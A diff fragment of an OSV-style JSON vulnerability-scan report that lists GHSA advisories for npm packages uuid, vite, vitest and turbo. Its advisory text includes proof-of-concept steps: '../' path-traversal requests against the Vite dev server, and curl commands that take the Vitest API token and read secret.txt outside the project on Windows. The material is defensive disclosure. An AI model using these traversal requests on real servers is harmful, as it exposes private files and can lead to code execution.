+ "id": "GHSA-hcf7-66rw-9f5r",
+ "modified": "2026-05-27T17:44:20.032213439Z",
+ "published": "2026-05-19T19:49:52Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/turborepo/security/advisories/GHSA-hcf7-66rw-9f5r"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45773"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/turborepo"
+ }
+ ],
+ "related": [
+ "CGA-c9m8-r6c7-grmh"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:L/SI:H/SA:N",
+ "type": "CVSS_V4"
+ }
+ ],
+ "summary": "Trubo: Login callback CSRF/session fixation"
+ }
+ ]
+ },
+ {
+ "package": {
+ "name": "uuid",
+ "version": "10.0.0",
+ "ecosystem": "npm"
+ },
+ "groups": [
+ {
+ "ids": [
+ "GHSA-w5hq-g745-h8pq"
+ ],
+ "aliases": [
+ "CVE-2026-41907",
+ "GHSA-w5hq-g745-h8pq"
+ ],
+ "max_severity": "7.5"
+ }
+ ],
+ "vulnerabilities": [
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w5hq-g745-h8pq/GHSA-w5hq-g745-h8pq.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "uuid",
+ "purl": "pkg:npm/uuid"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "11.1.1"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w5hq-g745-h8pq/GHSA-w5hq-g745-h8pq.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "uuid",
+ "purl": "pkg:npm/uuid"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "12.0.0"
+ },
+ {
+ "fixed": "12.0.1"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w5hq-g745-h8pq/GHSA-w5hq-g745-h8pq.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "uuid",
+ "purl": "pkg:npm/uuid"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "13.0.0"
+ },
+ {
+ "fixed": "13.0.1"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-41907"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-1285",
+ "CWE-787"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-04-22T20:53:24Z",
+ "nvd_published_at": "2026-04-24T19:17:14Z",
+ "severity": "MODERATE"
+ },
+ "details": "### Summary\n\nThe `v3()`, `v5()`, and `v6()` [API methods](https://github.com/uuidjs/uuid#api-summary) (not `uuid` release versions) accept external output buffers but do not reject out-of-range writes (small `buf` or large `offset`). \nBy contrast, `v4()`, `v1()`, and `v7()` API methods explicitly throw `RangeError` on invalid bounds.\n\nThis inconsistency allows **silent partial writes** into caller-provided buffers.\n\n\n### Affected code\n\n- `src/v35.ts` (`v3()`/`v5()` path) writes `buf[offset + i]` without bounds validation.\n- `src/v6.ts` writes `buf[offset + i]` without bounds validation.\n\n### Reproducible PoC\n\n```bash\ncd /home/StrawHat/uuid\nnpm ci\nnpm run build\n\nnode --input-type=module -e \"\nimport {v4,v5,v6} from './dist-node/index.js';\nconst ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';\nfor (const [name,fn] of [\n ['v4()',()=\u003ev4({},new Uint8Array(8),4)],\n ['v5()',()=\u003ev5('x',ns,new Uint8Array(8),4)],\n ['v6()',()=\u003ev6({},new Uint8Array(8),4)],\n]) {\n try { fn(); console.log(name,'NO_THROW'); }\n catch(e){ console.log(name,'THREW',e.name); }\n}\"\n```\n\nObserved:\n\n- `v4() THREW RangeError`\n- `v5() NO_THROW`\n- `v6() NO_THROW`\n\nExample partial overwrite evidence captured during audit:\n\n```text\nsame true buf [\n 170, 170, 170, 170,\n 75, 224, 100, 63\n]\nv6 [\n 187, 187, 187, 187,\n 31, 19, 185, 64\n]\n```\n\n### Security impact\n\n- **Primary**: integrity/robustness issue (silent partial output).\n- If an application assumes full UUID writes into preallocated buffers, this can produce malformed/truncated/partially stale identifiers without error.\n- In systems where caller-controlled offsets/buffer sizes are exposed indirectly, this may become a security-relevant logic flaw.\n\n### Suggested fix\n\nAdd the same guard used by `v4()`/`v1()`/`v7()`:\n\n```ts\nif (offset \u003c 0 || offset + 16 \u003e buf.length) {\n throw new RangeError(`UUID byte range ${offset}:${offset + 15} is out of buffer bounds`);\n}\n```\n\nApply to:\n\n- `src/v35.ts` (covers `v3()` and `v5()`)\n- `src/v6.ts`",
+ "id": "GHSA-w5hq-g745-h8pq",
+ "modified": "2026-05-21T18:30:08.363810781Z",
+ "published": "2026-04-22T20:53:24Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/security/advisories/GHSA-w5hq-g745-h8pq"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41907"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/commit/32389c887c9e75f90442ee4cc95bbab0c4e8346e"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/commit/3d2c5b0342f0fcb52a5ac681c3d47c13e7444b34"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/commit/3d61d6ac1f782cf6b1dd8661c60f11722cd49a0d"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/commit/9d27ddf7046ce496ef39569ff84d948eeff9cb2a"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/uuidjs/uuid"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/releases/tag/v11.1.1"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/releases/tag/v12.0.1"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/releases/tag/v13.0.1"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/releases/tag/v14.0.0"
+ }
+ ],
+ "related": [
+ "CGA-cfw7-cq6w-m5hj"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
+ "type": "CVSS_V3"
+ },
+ {
+ "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
+ "type": "CVSS_V4"
+ }
+ ],
+ "summary": "uuid: Missing buffer bounds check in v3/v5/v6 when buf is provided"
+ }
+ ]
+ },
+ {
+ "package": {
+ "name": "uuid",
+ "version": "8.3.2",
+ "ecosystem": "npm"
+ },
+ "groups": [
+ {
+ "ids": [
+ "GHSA-w5hq-g745-h8pq"
+ ],
+ "aliases": [
+ "CVE-2026-41907",
+ "GHSA-w5hq-g745-h8pq"
+ ],
+ "max_severity": "7.5"
+ }
+ ],
+ "vulnerabilities": [
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w5hq-g745-h8pq/GHSA-w5hq-g745-h8pq.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "uuid",
+ "purl": "pkg:npm/uuid"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "11.1.1"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w5hq-g745-h8pq/GHSA-w5hq-g745-h8pq.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "uuid",
+ "purl": "pkg:npm/uuid"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "12.0.0"
+ },
+ {
+ "fixed": "12.0.1"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w5hq-g745-h8pq/GHSA-w5hq-g745-h8pq.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "uuid",
+ "purl": "pkg:npm/uuid"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "13.0.0"
+ },
+ {
+ "fixed": "13.0.1"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-41907"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-1285",
+ "CWE-787"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-04-22T20:53:24Z",
+ "nvd_published_at": "2026-04-24T19:17:14Z",
+ "severity": "MODERATE"
+ },
+ "details": "### Summary\n\nThe `v3()`, `v5()`, and `v6()` [API methods](https://github.com/uuidjs/uuid#api-summary) (not `uuid` release versions) accept external output buffers but do not reject out-of-range writes (small `buf` or large `offset`). \nBy contrast, `v4()`, `v1()`, and `v7()` API methods explicitly throw `RangeError` on invalid bounds.\n\nThis inconsistency allows **silent partial writes** into caller-provided buffers.\n\n\n### Affected code\n\n- `src/v35.ts` (`v3()`/`v5()` path) writes `buf[offset + i]` without bounds validation.\n- `src/v6.ts` writes `buf[offset + i]` without bounds validation.\n\n### Reproducible PoC\n\n```bash\ncd /home/StrawHat/uuid\nnpm ci\nnpm run build\n\nnode --input-type=module -e \"\nimport {v4,v5,v6} from './dist-node/index.js';\nconst ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';\nfor (const [name,fn] of [\n ['v4()',()=\u003ev4({},new Uint8Array(8),4)],\n ['v5()',()=\u003ev5('x',ns,new Uint8Array(8),4)],\n ['v6()',()=\u003ev6({},new Uint8Array(8),4)],\n]) {\n try { fn(); console.log(name,'NO_THROW'); }\n catch(e){ console.log(name,'THREW',e.name); }\n}\"\n```\n\nObserved:\n\n- `v4() THREW RangeError`\n- `v5() NO_THROW`\n- `v6() NO_THROW`\n\nExample partial overwrite evidence captured during audit:\n\n```text\nsame true buf [\n 170, 170, 170, 170,\n 75, 224, 100, 63\n]\nv6 [\n 187, 187, 187, 187,\n 31, 19, 185, 64\n]\n```\n\n### Security impact\n\n- **Primary**: integrity/robustness issue (silent partial output).\n- If an application assumes full UUID writes into preallocated buffers, this can produce malformed/truncated/partially stale identifiers without error.\n- In systems where caller-controlled offsets/buffer sizes are exposed indirectly, this may become a security-relevant logic flaw.\n\n### Suggested fix\n\nAdd the same guard used by `v4()`/`v1()`/`v7()`:\n\n```ts\nif (offset \u003c 0 || offset + 16 \u003e buf.length) {\n throw new RangeError(`UUID byte range ${offset}:${offset + 15} is out of buffer bounds`);\n}\n```\n\nApply to:\n\n- `src/v35.ts` (covers `v3()` and `v5()`)\n- `src/v6.ts`",
+ "id": "GHSA-w5hq-g745-h8pq",
+ "modified": "2026-05-21T18:30:08.363810781Z",
+ "published": "2026-04-22T20:53:24Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/security/advisories/GHSA-w5hq-g745-h8pq"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41907"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/commit/32389c887c9e75f90442ee4cc95bbab0c4e8346e"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/commit/3d2c5b0342f0fcb52a5ac681c3d47c13e7444b34"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/commit/3d61d6ac1f782cf6b1dd8661c60f11722cd49a0d"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/commit/9d27ddf7046ce496ef39569ff84d948eeff9cb2a"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/uuidjs/uuid"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/releases/tag/v11.1.1"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/releases/tag/v12.0.1"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/releases/tag/v13.0.1"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/releases/tag/v14.0.0"
+ }
+ ],
+ "related": [
+ "CGA-cfw7-cq6w-m5hj"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
+ "type": "CVSS_V3"
+ },
+ {
+ "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
+ "type": "CVSS_V4"
+ }
+ ],
+ "summary": "uuid: Missing buffer bounds check in v3/v5/v6 when buf is provided"
+ }
+ ]
+ },
+ {
+ "package": {
+ "name": "uuid",
+ "version": "9.0.1",
+ "ecosystem": "npm"
+ },
+ "dependency_groups": [
+ "optional"
+ ],
+ "groups": [
+ {
+ "ids": [
+ "GHSA-w5hq-g745-h8pq"
+ ],
+ "aliases": [
+ "CVE-2026-41907",
+ "GHSA-w5hq-g745-h8pq"
+ ],
+ "max_severity": "7.5"
+ }
+ ],
+ "vulnerabilities": [
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w5hq-g745-h8pq/GHSA-w5hq-g745-h8pq.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "uuid",
+ "purl": "pkg:npm/uuid"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "11.1.1"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w5hq-g745-h8pq/GHSA-w5hq-g745-h8pq.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "uuid",
+ "purl": "pkg:npm/uuid"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "12.0.0"
+ },
+ {
+ "fixed": "12.0.1"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w5hq-g745-h8pq/GHSA-w5hq-g745-h8pq.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "uuid",
+ "purl": "pkg:npm/uuid"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "13.0.0"
+ },
+ {
+ "fixed": "13.0.1"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-41907"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-1285",
+ "CWE-787"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-04-22T20:53:24Z",
+ "nvd_published_at": "2026-04-24T19:17:14Z",
+ "severity": "MODERATE"
+ },
+ "details": "### Summary\n\nThe `v3()`, `v5()`, and `v6()` [API methods](https://github.com/uuidjs/uuid#api-summary) (not `uuid` release versions) accept external output buffers but do not reject out-of-range writes (small `buf` or large `offset`). \nBy contrast, `v4()`, `v1()`, and `v7()` API methods explicitly throw `RangeError` on invalid bounds.\n\nThis inconsistency allows **silent partial writes** into caller-provided buffers.\n\n\n### Affected code\n\n- `src/v35.ts` (`v3()`/`v5()` path) writes `buf[offset + i]` without bounds validation.\n- `src/v6.ts` writes `buf[offset + i]` without bounds validation.\n\n### Reproducible PoC\n\n```bash\ncd /home/StrawHat/uuid\nnpm ci\nnpm run build\n\nnode --input-type=module -e \"\nimport {v4,v5,v6} from './dist-node/index.js';\nconst ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';\nfor (const [name,fn] of [\n ['v4()',()=\u003ev4({},new Uint8Array(8),4)],\n ['v5()',()=\u003ev5('x',ns,new Uint8Array(8),4)],\n ['v6()',()=\u003ev6({},new Uint8Array(8),4)],\n]) {\n try { fn(); console.log(name,'NO_THROW'); }\n catch(e){ console.log(name,'THREW',e.name); }\n}\"\n```\n\nObserved:\n\n- `v4() THREW RangeError`\n- `v5() NO_THROW`\n- `v6() NO_THROW`\n\nExample partial overwrite evidence captured during audit:\n\n```text\nsame true buf [\n 170, 170, 170, 170,\n 75, 224, 100, 63\n]\nv6 [\n 187, 187, 187, 187,\n 31, 19, 185, 64\n]\n```\n\n### Security impact\n\n- **Primary**: integrity/robustness issue (silent partial output).\n- If an application assumes full UUID writes into preallocated buffers, this can produce malformed/truncated/partially stale identifiers without error.\n- In systems where caller-controlled offsets/buffer sizes are exposed indirectly, this may become a security-relevant logic flaw.\n\n### Suggested fix\n\nAdd the same guard used by `v4()`/`v1()`/`v7()`:\n\n```ts\nif (offset \u003c 0 || offset + 16 \u003e buf.length) {\n throw new RangeError(`UUID byte range ${offset}:${offset + 15} is out of buffer bounds`);\n}\n```\n\nApply to:\n\n- `src/v35.ts` (covers `v3()` and `v5()`)\n- `src/v6.ts`",
+ "id": "GHSA-w5hq-g745-h8pq",
+ "modified": "2026-05-21T18:30:08.363810781Z",
+ "published": "2026-04-22T20:53:24Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/security/advisories/GHSA-w5hq-g745-h8pq"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41907"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/commit/32389c887c9e75f90442ee4cc95bbab0c4e8346e"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/commit/3d2c5b0342f0fcb52a5ac681c3d47c13e7444b34"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/commit/3d61d6ac1f782cf6b1dd8661c60f11722cd49a0d"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/commit/9d27ddf7046ce496ef39569ff84d948eeff9cb2a"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/uuidjs/uuid"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/releases/tag/v11.1.1"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/releases/tag/v12.0.1"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/releases/tag/v13.0.1"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/uuidjs/uuid/releases/tag/v14.0.0"
+ }
+ ],
+ "related": [
+ "CGA-cfw7-cq6w-m5hj"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
+ "type": "CVSS_V3"
+ },
+ {
+ "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
+ "type": "CVSS_V4"
+ }
+ ],
+ "summary": "uuid: Missing buffer bounds check in v3/v5/v6 when buf is provided"
+ }
+ ]
+ },
+ {
+ "package": {
+ "name": "vite",
+ "version": "5.4.21",
+ "ecosystem": "npm"
+ },
+ "dependency_groups": [
+ "dev"
+ ],
+ "groups": [
+ {
+ "ids": [
+ "GHSA-4w7w-66w2-5vf9"
+ ],
+ "aliases": [
+ "CVE-2026-39365",
+ "GHSA-4w7w-66w2-5vf9"
+ ],
+ "max_severity": "6.3"
+ }
+ ],
+ "vulnerabilities": [
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "last_known_affected_version_range": "\u003c= 8.0.4",
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-4w7w-66w2-5vf9/GHSA-4w7w-66w2-5vf9.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "vite",
+ "purl": "pkg:npm/vite"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "8.0.0"
+ },
+ {
+ "fixed": "8.0.5"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "last_known_affected_version_range": "\u003c= 7.3.1",
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-4w7w-66w2-5vf9/GHSA-4w7w-66w2-5vf9.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "vite",
+ "purl": "pkg:npm/vite"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "7.0.0"
+ },
+ {
+ "fixed": "7.3.2"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "last_known_affected_version_range": "\u003c= 6.4.1",
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-4w7w-66w2-5vf9/GHSA-4w7w-66w2-5vf9.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "vite",
+ "purl": "pkg:npm/vite"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "6.4.2"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-39365"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-200",
+ "CWE-22"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-04-06T18:03:46Z",
+ "nvd_published_at": "2026-04-07T20:16:30Z",
+ "severity": "MODERATE"
+ },
+ "details": "### Summary\n\nAny files ending with `.map` even out side the project can be returned to the browser.\n\n### Impact\n\nOnly apps that match the following conditions are affected:\n\n- explicitly exposes the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host))\n- have a sensitive content in files ending with `.map` and the path is predictable\n\n### Details\n\nIn Vite v7.3.1, the dev server’s handling of `.map` requests for optimized dependencies resolves file paths and calls `readFile` without restricting `../` segments in the URL. As a result, it is possible to bypass the [`server.fs.strict`](https://vite.dev/config/server-options#server-fs-strict) allow list and retrieve `.map` files located outside the project root, provided they can be parsed as valid source map JSON.\n\n### PoC\n1. Create a minimal PoC sourcemap outside the project root\n ```bash\n cat \u003e /tmp/poc.map \u003c\u003c'EOF'\n {\"version\":3,\"file\":\"x.js\",\"sources\":[],\"names\":[],\"mappings\":\"\"}\n EOF\n ```\n2. Start the Vite dev server (example)\n ```bash\n pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080\n ```\n3. Confirm that direct `/@fs` access is blocked by `strict` (returns 403)\n \u003cimg width=\"4004\" height=\"1038\" alt=\"image\" src=\"https://github.com/user-attachments/assets/15a859a8-1dc6-4105-8d58-80527c0dd9ab\" /\u003e\n4. Inject `../` segments under the optimized deps `.map` URL prefix to reach `/tmp/poc.map`\n \u003cimg width=\"2790\" height=\"846\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5d02957d-2e6a-4c45-9819-3f024e0e81f2\" /\u003e",
+ "id": "GHSA-4w7w-66w2-5vf9",
+ "modified": "2026-04-09T14:59:24.646487988Z",
+ "published": "2026-04-06T18:03:46Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/vitejs/vite/security/advisories/GHSA-4w7w-66w2-5vf9"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39365"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vitejs/vite/pull/22161"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vitejs/vite/commit/79f002f2286c03c88c7b74c511c7f9fc6dc46694"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vitejs/vite"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vitejs/vite/releases/tag/v6.4.2"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vitejs/vite/releases/tag/v7.3.2"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vitejs/vite/releases/tag/v8.0.5"
+ }
+ ],
+ "related": [
+ "CGA-v8cr-xq93-34hx"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
+ "type": "CVSS_V4"
+ }
+ ],
+ "summary": "Vite Vulnerable to Path Traversal in Optimized Deps `.map` Handling"
+ }
+ ]
+ },
+ {
+ "package": {
+ "name": "vitest",
+ "version": "1.6.1",
+ "ecosystem": "npm"
+ },
+ "dependency_groups": [
+ "dev"
+ ],
+ "groups": [
+ {
+ "ids": [
+ "GHSA-5xrq-8626-4rwp"
+ ],
+ "aliases": [
+ "CVE-2026-47429",
+ "GHSA-5xrq-8626-4rwp"
+ ],
+ "max_severity": "9.8"
+ }
+ ],
+ "vulnerabilities": [
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-5xrq-8626-4rwp/GHSA-5xrq-8626-4rwp.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "vitest",
+ "purl": "pkg:npm/vitest"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "4.1.0"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-47429"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-862"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-06-01T14:09:53Z",
+ "nvd_published_at": null,
+ "severity": "CRITICAL"
+ },
+ "details": "### Summary\nArbitrary file can be read on Windows when Vitest UI server is listening, especially when exposed to the network.\n\n### Impact\nOnly users that match either of the following conditions are affected:\n\n- explicitly exposes the Vitest UI server to the network (using `--api.host` or [`api.host` config option](https://vitest.dev/config/api.html))\n- running the Vitest UI or Browser Mode on Windows\n\n### Details\nThe API handler for `/__vitest_attachment__` uses the deprecated `isFileServingAllowed` incorrectly.\nhttps://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/ui/node/index.ts#L77\nThe function expects the passed value to use `cleanUrl` after the check before file system related operation.\nBecause of this, it is possible to bypass the check by `\\\\?\\\\..\\\\`. This is not possible on Linux as Linux errors if a directory named `?` does not exist.\n\nA similar problem exists in other places as well.\n- https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/vitest/src/api/setup.ts#L103-L105\n- https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/vitest/src/api/setup.ts#L119-L121\n- https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/commands/fs.ts#L10-L11\n- https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/plugin.ts#L194-L196\n- https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/rpc.ts#L115-L121\n\n**That said**, this `isFileServingAllowed` check does not actually prevent the API to be abused. Since the API has rerun feature and file write feature, it's possible to run arbitrary script by writing a script as a test file using `saveTestFile` and running it using `rerun`. This means exposing the API / Vitest UI is equivalent to giving script execution access.\nOn the browser mode side, there're `readFile` / `writeFile` / `saveSnapshotFile`. So exposing the browser mode is equivalent to giving file read / write access.\n\n### PoC\n1. Run Vitest UI\n2. Get the API token by `curl http://localhost:51204/__vitest__/`\n3. Run `curl \"http://localhost:51204/__vitest_attachment__?path=C:\\\\path\\\\to\\\\project\\\\?\\\\..\\\\..\\\\secret.txt\u0026amp;contentType=text/plain\u0026amp;token=$TOKEN\"` (TOKEN is the API token)\n4. curl shows the content of `secret.txt` that is outside the project directory\n\n### Mitigations\n\nVitest now ships two configuration flags, [`allowWrite`](https://vitest.dev/config/api.html#api-allowwrite) and [`allowExec`](https://vitest.dev/config/api.html#api-allowexec), that gate the privileged operations exploited by this vulnerability. Both are disabled by default whenever the API server is bound to a non-`localhost` host, ensuring that exposing the server to the network no longer implicitly grants write or execute capabilities to remote clients.\n\nWhen these flags are disabled, the UI also enters a read-only mode: in-browser code editing and test file execution are turned off, removing the attack surface that allowed remote code execution. Many Browser Mode features are also disabled, like attachments, artifacts or snapshots. See [`browser.api`](https://vitest.dev/config/browser/api.html#api-allowwrite).\n\nUsers who require the full interactive UI on a networked host must explicitly opt in by setting `allowWrite` and/or `allowExec` to `true`.",
+ "id": "GHSA-5xrq-8626-4rwp",
+ "modified": "2026-06-05T20:59:22.049051712Z",
+ "published": "2026-06-01T14:09:53Z",
+ "references": [
+ {
+ "type": "WEB",
